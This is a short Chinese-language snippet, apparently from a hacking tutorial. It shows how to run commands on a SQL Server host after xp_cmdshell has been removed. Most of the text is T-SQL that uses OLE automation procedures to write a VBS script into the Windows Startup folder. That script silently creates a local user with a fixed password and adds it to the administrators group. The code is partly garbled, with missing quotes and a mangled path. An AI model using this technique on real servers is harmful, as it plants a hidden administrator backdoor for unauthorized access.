sql server数据库中xp_cmdshell被删除的问题:
首先,尝试恢复xp_cmdshell,sp_addextendedproc xp_cmdshell, xpsql70.dll,结果发现xpsql70.dll被删除。
可以创建一个vbs文件到启动组中:
复制代码 代码示例:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, createtextfile, @f out,
c:docume~1alluse~1「开始」菜单程序启动a.vbs, 1
exec @ret = sp_oamethod @f, writeline, NULL,
set wshshell=createobject("wscript.shell")
exec @ret = sp_oamethod @f, writeline, NULL,
a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)
exec @ret = sp_oamethod @f, writeline, NULL,
b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)